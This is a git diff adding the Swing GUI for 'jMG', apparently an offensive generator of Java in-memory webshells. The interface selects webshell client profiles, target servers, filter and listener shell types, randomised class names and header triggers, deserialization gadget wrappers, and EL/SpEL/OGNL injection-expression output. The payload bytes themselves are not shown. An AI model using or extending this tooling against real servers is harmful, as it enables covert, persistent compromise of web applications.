config.setOutputFormat(formatType); + + ComponentUtil.setTextIfNotEmpty(passText, config::setPass); + ComponentUtil.setTextIfNotEmpty(keyText, config::setKey); + ComponentUtil.setTextIfNotEmpty(shellClsNameText, config::setShellClassName); + ComponentUtil.setTextIfNotEmpty(injectorClsNameText, config::setInjectorClassName); + ComponentUtil.setTextIfNotEmpty(uriText, config::setUrlPattern); + ComponentUtil.setTextIfNotEmpty(headerNameText, config::setHeaderName); + ComponentUtil.setTextIfNotEmpty(headerValueText, config::setHeaderValue); + + if (config.getShellClassName() == null) + config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType())); + if (config.getInjectorClassName() == null) + config.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName()); + Map.Entry header = RandomHttpHeaderUtil.generateHeader(); + if (config.getHeaderName() == null) config.setHeaderName(header.getKey()); + if (config.getHeaderValue() == null) config.setHeaderValue(header.getValue()); + if (config.getUrlPattern() == null || config.getUrlPattern().equals("/*") || config.getUrlPattern().equals("/")) { + if (config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) { + config.setUrlPattern("/" + CommonUtil.getRandomString(6).toLowerCase()); + } else { + config.setUrlPattern("/*"); + } + } + if (config.getOutputFormat().contains(Constants.FORMAT_BCEL)) + config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName()); + config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName())); + + } + + public void resetConfig(AbstractConfig config) { + config.setPass(null); + config.setKey(null); + config.setShellClassName(null); + config.setInjectorClassName(null); + config.setHeaderName(null); + config.setHeaderValue(null); + config.setUrlPattern(null); + config.setInjectorSimpleClassName(null); + + } + + + { +// GUI initializer generated by IntelliJ IDEA GUI Designer +// >>> IMPORTANT!! <<< +// DO NOT EDIT OR ADD ANY CODE HERE! + $$$setupUI$$$(); + } + + /** + * Method generated by IntelliJ IDEA GUI Designer + * >>> IMPORTANT!! <<< + * DO NOT edit this method OR call it in your code! + * + * @noinspection ALL + */ + private void $$$setupUI$$$() { + jMGPanel = new JPanel(); + jMGPanel.setLayout(new GridLayoutManager(7, 1, new Insets(0, 0, 0, 0), -1, -1)); + TopPanel = new JPanel(); + TopPanel.setLayout(new GridLayoutManager(1, 8, new Insets(0, 0, 0, 0), -1, -1)); + jMGPanel.add(TopPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + toolLabel = new JLabel(); + this.$$$loadLabelText$$$(toolLabel, this.$$$getMessageFromBundle$$$("messages", "tool.text")); + TopPanel.add(toolLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + formatLabel = new JLabel(); + this.$$$loadLabelText$$$(formatLabel, this.$$$getMessageFromBundle$$$("messages", "format.text")); + TopPanel.add(formatLabel, new GridConstraints(0, 6, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + serverLabel = new JLabel(); + this.$$$loadLabelText$$$(serverLabel, this.$$$getMessageFromBundle$$$("messages", "server.text")); + TopPanel.add(serverLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + shellLabel = new JLabel(); + this.$$$loadLabelText$$$(shellLabel, this.$$$getMessageFromBundle$$$("messages", "shell.text")); + TopPanel.add(shellLabel, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + toolBox = new JComboBox(); + final DefaultComboBoxModel defaultComboBoxModel1 = new DefaultComboBoxModel(); + defaultComboBoxModel1.addElement("Behinder"); + defaultComboBoxModel1.addElement("Godzilla"); + defaultComboBoxModel1.addElement("AntSword"); + defaultComboBoxModel1.addElement("Suo5"); + defaultComboBoxModel1.addElement("NeoreGeorg"); + defaultComboBoxModel1.addElement("Custom"); + toolBox.setModel(defaultComboBoxModel1); + TopPanel.add(toolBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false)); + serverBox = new JComboBox(); + final DefaultComboBoxModel defaultComboBoxModel2 = new DefaultComboBoxModel(); + defaultComboBoxModel2.addElement("Tomcat"); + defaultComboBoxModel2.addElement("SpringMVC"); + defaultComboBoxModel2.addElement("Weblogic"); + defaultComboBoxModel2.addElement("Websphere"); + defaultComboBoxModel2.addElement("Resin"); + defaultComboBoxModel2.addElement("Undertow"); + defaultComboBoxModel2.addElement("Jetty"); + defaultComboBoxModel2.addElement("SpringWebFlux"); + serverBox.setModel(defaultComboBoxModel2); + TopPanel.add(serverBox, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false)); + shellBox = new JComboBox(); + final DefaultComboBoxModel defaultComboBoxModel3 = new DefaultComboBoxModel(); + defaultComboBoxModel3.addElement("Listener"); + defaultComboBoxModel3.addElement("Filter"); + defaultComboBoxModel3.addElement("Interceptor"); + defaultComboBoxModel3.addElement("WFHandlerMethod"); + shellBox.setModel(defaultComboBoxModel3); + TopPanel.add(shellBox, new GridConstraints(0, 5, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + formatBox = new JComboBox(); + final DefaultComboBoxModel defaultComboBoxModel4 = new DefaultComboBoxModel(); + defaultComboBoxModel4.addElement("BASE64"); + defaultComboBoxModel4.addElement("BIGINTEGER"); + defaultComboBoxModel4.addElement("BCEL"); + defaultComboBoxModel4.addElement("CLASS"); + defaultComboBoxModel4.addElement("JAR"); + defaultComboBoxModel4.addElement("JS"); + defaultComboBoxModel4.addElement("JSP"); + formatBox.setModel(defaultComboBoxModel4); + TopPanel.add(formatBox, new GridConstraints(0, 7, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + textScrollPane = new JScrollPane(); + jMGPanel.add(textScrollPane, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(-1, 360), new Dimension(36, 207), null, 0, false)); + textPane = new JTextPane(); + textPane.setText(""); + textScrollPane.setViewportView(textPane); + MiddlePanel = new JPanel(); + MiddlePanel.setLayout(new GridLayoutManager(4, 4, new Insets(0, 0, 0, 0), -1, -1)); + jMGPanel.add(MiddlePanel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + keyLabel = new JLabel(); + this.$$$loadLabelText$$$(keyLabel, this.$$$getMessageFromBundle$$$("messages", "key.text")); + MiddlePanel.add(keyLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + passLabel = new JLabel(); + this.$$$loadLabelText$$$(passLabel, this.$$$getMessageFromBundle$$$("messages", "pass.text")); + MiddlePanel.add(passLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(34, 16), null, 0, false)); + headerValueLabel = new JLabel(); + this.$$$loadLabelText$$$(headerValueLabel, this.$$$getMessageFromBundle$$$("messages", "headerValue.text")); + MiddlePanel.add(headerValueLabel, new GridConstraints(1, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + uriText = new JTextField(); + uriText.setText("/*"); + uriText.setToolTipText("可选,默认为 /*"); + MiddlePanel.add(uriText, new GridConstraints(3, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + headerValueText = new JTextField(); + headerValueText.setToolTipText("可选,默认随机生成"); + MiddlePanel.add(headerValueText, new GridConstraints(1, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + keyText = new JTextField(); + keyText.setToolTipText("可选,默认随机生成"); + MiddlePanel.add(keyText, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + headerNameLabel = new JLabel(); + this.$$$loadLabelText$$$(headerNameLabel, this.$$$getMessageFromBundle$$$("messages", "headerName.text")); + MiddlePanel.add(headerNameLabel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + uriLabel = new JLabel(); + this.$$$loadLabelText$$$(uriLabel, this.$$$getMessageFromBundle$$$("messages", "uri.text")); + MiddlePanel.add(uriLabel, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + headerNameText = new JTextField(); + headerNameText.setToolTipText("可选,默认随机生成"); + MiddlePanel.add(headerNameText, new GridConstraints(1, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + passText = new JTextField(); + passText.setText(""); + passText.setToolTipText("可选,默认随机生成"); + MiddlePanel.add(passText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + shellClsNameLabel = new JLabel(); + this.$$$loadLabelText$$$(shellClsNameLabel, this.$$$getMessageFromBundle$$$("messages", "shellClsName.text")); + MiddlePanel.add(shellClsNameLabel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + injectorClsNameLabel = new JLabel(); + this.$$$loadLabelText$$$(injectorClsNameLabel, this.$$$getMessageFromBundle$$$("messages", "injectorClsName.text")); + MiddlePanel.add(injectorClsNameLabel, new GridConstraints(2, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + injectorClsNameText = new JTextField(); + injectorClsNameText.setToolTipText("可选,默认随机生成"); + MiddlePanel.add(injectorClsNameText, new GridConstraints(2, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + shellClsNameText = new JTextField(); + shellClsNameText.setToolTipText("可选,默认随机生成"); + MiddlePanel.add(shellClsNameText, new GridConstraints(2, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + TopSep = new JSeparator(); + jMGPanel.add(TopSep, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + MiddleSep = new JSeparator(); + jMGPanel.add(MiddleSep, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + BottomPanel = new JPanel(); + BottomPanel.setLayout(new GridLayoutManager(1, 5, new Insets(0, 0, 0, 0), -1, -1)); + jMGPanel.add(BottomPanel, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + enableGadget = new JCheckBox(); + this.$$$loadButtonText$$$(enableGadget, this.$$$getMessageFromBundle$$$("messages", "gadget.text")); + enableGadget.setToolTipText("根据漏洞类型自动完成对类文件的封装,如继承类、实现接口、添加注解等"); + BottomPanel.add(enableGadget, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + gadgetTypeBox = new JComboBox(); + final DefaultComboBoxModel defaultComboBoxModel5 = new DefaultComboBoxModel(); + defaultComboBoxModel5.addElement("JDK_AbstractTranslet"); + defaultComboBoxModel5.addElement("SnakeYaml"); + defaultComboBoxModel5.addElement("XALAN_AbstractTranslet"); + defaultComboBoxModel5.addElement("FastjsonGroovy"); + gadgetTypeBox.setModel(defaultComboBoxModel5); + BottomPanel.add(gadgetTypeBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + enableExpr = new JCheckBox(); + this.$$$loadButtonText$$$(enableExpr, this.$$$getMessageFromBundle$$$("messages", "expr.text")); + enableExpr.setToolTipText("根据语句类型自动生成相应内存马注入的表达式语句"); + BottomPanel.add(enableExpr, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + exprBox = new JComboBox(); + final DefaultComboBoxModel defaultComboBoxModel6 = new DefaultComboBoxModel(); + defaultComboBoxModel6.addElement("EL"); + defaultComboBoxModel6.addElement("SpEL"); + defaultComboBoxModel6.addElement("OGNL"); + defaultComboBoxModel6.addElement("FreeMarker"); + defaultComboBoxModel6.addElement("Velocity"); + defaultComboBoxModel6.addElement("ScriptEngineManager(JS)"); + exprBox.setModel(defaultComboBoxModel6); + BottomPanel.add(exprBox, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + generateButton = new JButton(); + this.$$$loadButtonText$$$(generateButton, this.$$$getMessageFromBundle$$$("messages", "generate.text")); + BottomPanel.add(generateButton, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_EAST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + TipPanel = new JPanel(); + TipPanel.setLayout(new GridLayoutManager(1, 3, new Insets(0, 0, 0, 0), -1, -1)); + jMGPanel.add(TipPanel, new GridConstraints(6, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + final Spacer spacer1 = new Spacer(); + TipPanel.add(spacer1, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false)); + authorLabel = new JLabel(); + authorLabel.setText("请勿用于非法用途"); + TipPanel.add(authorLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + noticeLabel = new JLabel(); + noticeLabel.setText("by pen4uin"); + TipPanel.add(noticeLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + } + + private static Method $$$cachedGetBundleMethod$$$ = null; + + private String $$$getMessageFromBundle$$$(String path, String key) { + ResourceBundle bundle; + try { + Class thisClass = this.getClass(); + if ($$$cachedGetBundleMethod$$$ == null) { + Class dynamicBundleClass = thisClass.getClassLoader().loadClass("com.intellij.DynamicBundle"); + $$$cachedGetBundleMethod$$$ = dynamicBundleClass.getMethod("getBundle", String.class, Class.class); + } + bundle = (ResourceBundle) $$$cachedGetBundleMethod$$$.invoke(null, path, thisClass); + } catch (Exception e) { + bundle = ResourceBundle.getBundle(path); + } + return bundle.getString(key); + } + + /** + * @noinspection ALL + */ + private void $$$loadLabelText$$$(JLabel component, String text) { + StringBuffer result = new StringBuffer(); + boolean haveMnemonic = false; + char mnemonic = '\0'; + int mnemonicIndex = -1; + for (int i = 0; i < text.length(); i++) { + if (text.charAt(i) == '&') { + i++; + if (i == text.length()) break; + if (!haveMnemonic && text.charAt(i) != '&') { + haveMnemonic = true; + mnemonic = text.charAt(i); + mnemonicIndex = result.length(); + } + } + result.append(text.charAt(i)); + } + component.setText(result.toString()); + if (haveMnemonic) { + component.setDisplayedMnemonic(mnemonic); + component.setDisplayedMnemonicIndex(mnemonicIndex); + } + } + + /** + * @noinspection ALL + */ + private void $$$loadButtonText$$$(AbstractButton component, String text) { + StringBuffer result = new StringBuffer(); + boolean haveMnemonic = false; + char mnemonic = '\0'; + int mnemonicIndex = -1; + for (int i = 0; i < text.length(); i++) { + if (text.charAt(i) == '&') { + i++; + if (i == text.length()) break; + if (!haveMnemonic && text.charAt(i) != '&') { + haveMnemonic = true; + mnemonic = text.charAt(i); + mnemonicIndex = result.length(); + } + } + result.append(text.charAt(i)); + } + component.setText(result.toString()); + if (haveMnemonic) { + component.setMnemonic(mnemonic); + component.setDisplayedMnemonicIndex(mnemonicIndex); + } + } + + /** + * @noinspection ALL + */ + public JComponent $$$getRootComponent$$$() { + return jMGPanel; + } + +} diff --git a/jmg-gui/src/main/java/jmg/gui/jMGApp.java b/jmg-gui/src/main/java/jmg/gui/jMGApp.java new file mode 100644 index 0000000..8c38034 --- /dev/null +++ b/jmg-gui/src/main/java/jmg/gui/jMGApp.java @@ -0,0 +1,17 @@ +package jmg.gui; + +import com.formdev.flatlaf.FlatLightLaf; +import jmg.gui.form.jMGForm; + +import javax.swing.*; + +public class jMGApp { + public static void main(String[] args) { + FlatLightLaf.setup(); + SwingUtilities.invokeLater(jMGApp::createAndShowGUI); + } + + private static void createAndShowGUI() { + jMGForm.start(); + } +} diff --git a/jmg-gui/src/main/java/jmg/gui/util/ComponentUtil.java b/jmg-gui/src/main/java/jmg/gui/util/ComponentUtil.java new file mode 100644 index 0000000..c07011e --- /dev/null +++ b/jmg-gui/src/main/java/jmg/gui/util/ComponentUtil.java @@ -0,0 +1,78 @@ +package jmg.gui.util; + +import javax.swing.*; +import javax.swing.event.DocumentEvent; +import javax.swing.event.DocumentListener; +import javax.swing.text.JTextComponent; +import javax.swing.text.SimpleAttributeSet; +import javax.swing.text.StyleConstants; +import java.awt.*; +import java.awt.event.ItemEvent; +import java.awt.event.ItemListener; +import java.util.function.Consumer; + +public class ComponentUtil { + public static DocumentListener createDocumentListener(JTextComponent textField, Consumer updateFunction) { + return new DocumentListener() { + @Override + public void insertUpdate(DocumentEvent e) { + updateText(); + } + + @Override + public void removeUpdate(DocumentEvent e) { + updateText(); + } + + @Override + public void changedUpdate(DocumentEvent e) { + // 文本改变时触发(对于普通文本字段可以忽略) + } + + private void updateText() { + String text = textField.getText(); + if (text.isEmpty()) { + updateFunction.accept(null); + } else { + updateFunction.accept(text); + } + } + }; + } + + /** + * 恢复滚动条位置 + * @param scrollPane + */ + public static void restoreScrollPosition(JScrollPane scrollPane) { + try { + // windows 下窗口闪动 + scrollPane.setDoubleBuffered(true); + int scrollValue = scrollPane.getVerticalScrollBar().getValue(); + SwingUtilities.invokeLater(() -> { + scrollPane.getVerticalScrollBar().setValue(scrollValue); + }); + } catch (Exception ignored) { + } catch (Throwable e) { + throw new RuntimeException(e); + } + } + + + public static void setTextIfNotEmpty(JTextComponent component, Consumer setter) { + String text = component.getText().trim(); + if (!text.isEmpty()) { + setter.accept(text); + } + } + + public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) { + SimpleAttributeSet attributeSet = new SimpleAttributeSet(); + StyleConstants.setBold(attributeSet, true); + StyleConstants.setItalic(attributeSet, false); + StyleConstants.setForeground(attributeSet, foregroundColor); + return attributeSet; + } + + +} diff --git a/jmg-gui/src/main/java/jmg/gui/util/JExprUtil.java b/jmg-gui/src/main/java/jmg/gui/util/JExprUtil.java new file mode 100644 index 0000000..45a3758 --- /dev/null +++ b/jmg-gui/src/main/java/jmg/gui/util/JExprUtil.java @@ -0,0 +1,40 @@ +package jmg.gui.util; + +import me.gv7.woodpecker.plugin.exprs.*; +import jmg.core.config.AbstractConfig; + +public class JExprUtil { + public static String[] genExprPayload(AbstractConfig config){ + byte[] bytes = config.getInjectorBytes(); + switch (config.getExprEncoder()){ + case "EL": + return new ELExpr().genMemShell(bytes); + case "FreeMarker": + return new FreeMarkerExpr().genMemShell(bytes); + case "OGNL": + return new OGNLExpr().genMemShell(bytes); + case "SpEL": + return new SpELExpr().genMemShell(bytes); + case "Velocity": + return new VelocityExpr().genMemShell(bytes); + case "ScriptEngineManager(JS)": + return new ScriptEngineManagerExpr().genMemShell(bytes); + } + return null; + } + + public static void printResult(String[] results) throws Exception { + if (results != null && results.length > 0) { + String[] var3 = results; + int var4 = results.length; + + for(int var5 = 0; var5 < var4; ++var5) { + String result = var3[var5]; + TextPaneUtil.successPrintln(result); + } + } else { + TextPaneUtil.warningPrintln("暂不支持\n"); + } + + } +} \ No newline at end of file diff --git a/jmg-gui/src/main/java/jmg/gui/util/MenuUtil.java b/jmg-gui/src/main/java/jmg/gui/util/MenuUtil.java new file mode 100644 index 0000000..3ef210b --- /dev/null +++ b/jmg-gui/src/main/java/jmg/gui/util/MenuUtil.java @@ -0,0 +1,183 @@ +package jmg.gui.util; + +import com.formdev.flatlaf.FlatDarculaLaf; +import com.formdev.flatlaf.FlatDarkLaf; +import com.formdev.flatlaf.FlatIntelliJLaf; +import com.formdev.flatlaf.FlatLightLaf; +import com.formdev.flatlaf.themes.FlatMacDarkLaf; +import com.formdev.flatlaf.themes.FlatMacLightLaf; +import jmg.core.config.Constants; + +import javax.swing.*; +import javax.swing.plaf.nimbus.NimbusLookAndFeel; +import java.awt.*; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.StringSelection; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.io.BufferedWriter; +import java.io.FileWriter; +import java.io.IOException; +import java.io.PrintWriter; +import java.net.URI; + +public class MenuUtil { + public static JMenuBar createMenuBar(JFrame frame) { + JMenuBar menuBar = new JMenuBar(); + menuBar.add(createSettingMenu(frame)); + menuBar.add(createAboutnMenu(frame)); + return menuBar; + } + + + private static JMenu createSettingMenu(JFrame frame) { + JMenu settingsMenu = new JMenu("设置"); + settingsMenu.add(MenuUtil.createThemeMenu(frame)); + return settingsMenu; + } + + + public static JPopupMenu createPopupMenu(JFrame frame, JTextPane textPane) { + // 创建右键菜单 + JPopupMenu popupMenu = new JPopupMenu(); + JMenuItem copySelected = new JMenuItem("复制选中部分"); + JMenuItem copyAll = new JMenuItem("复制全部"); + JMenuItem saveAs = new JMenuItem("保存为"); + + // 添加菜单项的动作监听器 + copySelected.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + String selectedText = textPane.getSelectedText(); + if (selectedText != null) { + Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); + clipboard.setContents(new StringSelection(selectedText), null); + } + } + }); + + copyAll.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + String allText = textPane.getText(); + if (allText != null) { + Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); + clipboard.setContents(new StringSelection(allText), null); + } + } + }); + + saveAs.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + JFileChooser fileChooser = new JFileChooser(); + int result = fileChooser.showSaveDialog(frame); + if (result == JFileChooser.APPROVE_OPTION) { + String selectedFilePath = fileChooser.getSelectedFile().getAbsolutePath(); + String textToSave = textPane.getText(); + try (PrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(selectedFilePath)))) { + writer.print(textToSave); + writer.flush(); + JOptionPane.showMessageDialog(frame, "文件保存成功!"); + } catch (IOException ex) { + JOptionPane.showMessageDialog(frame, "保存文件时出错:" + ex.getMessage(), "错误", JOptionPane.ERROR_MESSAGE); + } + } + } + }); + + + popupMenu.add(copySelected); + popupMenu.add(copyAll); + popupMenu.add(saveAs); + return popupMenu; + } + + private static JMenu createThemeMenu(JFrame frame) { + JMenu themeMenu = new JMenu("主题"); + + String[] themeNames = {"FlatLight", "FlatDarcula", "FlatIntelliJ", "FlatMacDark", "FlatDark", "FlatMacLight"}; + + for (String themeName : themeNames) { + JMenuItem themeItem = createThemeMenuItem(frame, themeName); + themeMenu.add(themeItem); + } + return themeMenu; + } + + private static JMenuItem createThemeMenuItem(JFrame frame, String themeName) { + JMenuItem themeItem = new JMenuItem(themeName); + themeItem.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + setLookAndFeel(themeName, frame); + } + }); + return themeItem; + } + + private static void setLookAndFeel(String themeName, JFrame frame) { + try { + switch (themeName) { + case "FlatLight": + UIManager.setLookAndFeel(new FlatLightLaf()); + break; + case "FlatDark": + UIManager.setLookAndFeel(new FlatDarkLaf()); + break; + case "FlatIntelliJ": + UIManager.setLookAndFeel(new FlatIntelliJLaf()); + break; + case "FlatDarcula": + UIManager.setLookAndFeel(new FlatDarculaLaf()); + break; + case "FlatMacLight": + UIManager.setLookAndFeel(new FlatMacLightLaf()); + break; + case "FlatMacDark": + UIManager.setLookAndFeel(new FlatMacDarkLaf()); + break; + default: + UIManager.setLookAndFeel(new NimbusLookAndFeel()); + break; + } + SwingUtilities.updateComponentTreeUI(frame); + } catch (UnsupportedLookAndFeelException ex) { + throw new RuntimeException(ex); + } + } + + + private static JMenu createAboutnMenu(JFrame frame) { + try { + JMenu verMenu = new JMenu("关于"); + JMenuItem authorItem = new JMenuItem("作者"); + JMenuItem versionItem = new JMenuItem("版本"); + versionItem.addActionListener(e -> { + try { + JOptionPane.showMessageDialog(frame, "社区版 " + Constants.JMG_VERSION); + } catch (Exception ex) { + ex.printStackTrace(); + } + }); + + authorItem.addActionListener(e -> { + try { + Desktop desktop = Desktop.getDesktop(); + URI oURL = new URI("https://github.com/pen4uin"); + desktop.browse(oURL); + } catch (Exception ex) { + ex.printStackTrace(); + } + }); + + authorItem.setToolTipText("pen4uin"); + verMenu.add(authorItem); + verMenu.add(versionItem); + return verMenu; + } catch (Exception ex) { + ex.printStackTrace(); + } + return null; + } +} diff --git a/jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java b/jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java new file mode 100644 index 0000000..13d9627 --- /dev/null +++ 